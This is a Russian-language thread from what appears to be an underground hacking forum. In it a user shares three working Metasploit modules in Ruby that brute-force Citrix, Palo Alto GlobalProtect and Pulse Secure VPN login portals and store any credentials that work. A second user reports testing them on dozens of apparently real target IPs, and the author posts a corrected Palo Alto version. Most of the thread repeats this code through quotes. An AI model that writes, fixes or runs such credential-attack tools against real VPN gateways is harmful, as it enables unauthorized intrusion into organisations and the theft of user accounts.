• XSS.stack #1 – первый литературный журнал от юзеров форума

VPN Модули metasploit для брута cirtix, pulse, paloatlo

Отслеживать

samarie

HDD-drive
Пользователь
Регистрация
06.04.2023
Сообщения
34
Реакции
83
Депозит
0.00
Решил попробовать себя в разработке и сварганил вот это


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Citrix VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Citrix VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_vpn?
      vprint_error("Application does not appear to be Citrix VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Citrix VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/vpn/index.html', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/vpn/index.html'
    )
  end

  # Verify whether we're working with Citrix VPN or not
  def is_app_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/citrix/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/vpn/logout',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Citrix VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login'  => user,
        'password' => pass
      }

      # Check to use domain/realm or not
      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
        post_params['domain'] = ""
      else
        post_params['domain'] = datastore['DOMAIN']
      end

      res = send_request_cgi(
              'uri' => '/vpn/tmindex.html',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/Logout/)

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/globalprotect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login' => 'true',
        'user' => user,
        'passwd' => pass,
        'ok' => 'Sign In',
        'clientVer' => '4100',
        'clientos' => 'Windows',
        'clientgpversion' => '5.0.7.0',
        'userAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/globalprotect\/portal\/dashboard/)
     
        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pulse Secure VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Pulse Secure VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Pulse Secure VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Pulse Secure VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/dana-na/auth/url_default/welcome.cgi'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/pulse-secure/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/dana-na/auth/logout.cgi',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Pulse Secure VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'tz_offset' => '0',
        'username' => user,
        'password' => pass,
        'realm' => ''
      }

      res = send_request_cgi(
              'uri' => '/dana-na/auth/url_default/login.cgi',
              'method' => 'POST',
              'vars_post' => post_params
            )

      if res &&
         res.code == 302 &&
         res.headers['Location'] &&
         res.headers['Location'].include?('/dana-na/auth/url_default/welcome.cgi')

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
 
samarie сказал(а):
Решил попробовать себя в разработке и сварганил вот это


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Citrix VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Citrix VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_vpn?
      vprint_error("Application does not appear to be Citrix VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Citrix VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/vpn/index.html', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/vpn/index.html'
    )
  end

  # Verify whether we're working with Citrix VPN or not
  def is_app_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/citrix/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/vpn/logout',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Citrix VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login'  => user,
        'password' => pass
      }

      # Check to use domain/realm or not
      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
        post_params['domain'] = ""
      else
        post_params['domain'] = datastore['DOMAIN']
      end

      res = send_request_cgi(
              'uri' => '/vpn/tmindex.html',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/Logout/)

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/globalprotect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login' => 'true',
        'user' => user,
        'passwd' => pass,
        'ok' => 'Sign In',
        'clientVer' => '4100',
        'clientos' => 'Windows',
        'clientgpversion' => '5.0.7.0',
        'userAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/globalprotect\/portal\/dashboard/)
    
        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pulse Secure VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Pulse Secure VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Pulse Secure VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Pulse Secure VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/dana-na/auth/url_default/welcome.cgi'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/pulse-secure/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/dana-na/auth/logout.cgi',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Pulse Secure VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'tz_offset' => '0',
        'username' => user,
        'password' => pass,
        'realm' => ''
      }

      res = send_request_cgi(
              'uri' => '/dana-na/auth/url_default/login.cgi',
              'method' => 'POST',
              'vars_post' => post_params
            )

      if res &&
         res.code == 302 &&
         res.headers['Location'] &&
         res.headers['Location'].include?('/dana-na/auth/url_default/welcome.cgi')

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
paloalto не отрабатывает, проверил пару десятков ипов и гуды в том числе
Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue
 
Wolverine сказал(а):
paloalto не отрабатывает, проверил пару десятков ипов и гуды в том числе
Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue
Исправил!


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/global-protect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login' => 'true',
        'user' => user,
        'passwd' => pass,
        'ok' => 'Sign In',
        'clientVer' => '4100',
        'clientos' => 'Windows',
        'clientgpversion' => '5.0.7.0',
        'userAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/global-protect\/portal\/dashboard/)
      
        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
 
samarie сказал(а):
Исправил!


Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

    register_options(
      [
        OptString.new('DOMAIN', [false, "Domain/Realm to use for each account", ''])
      ])
  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
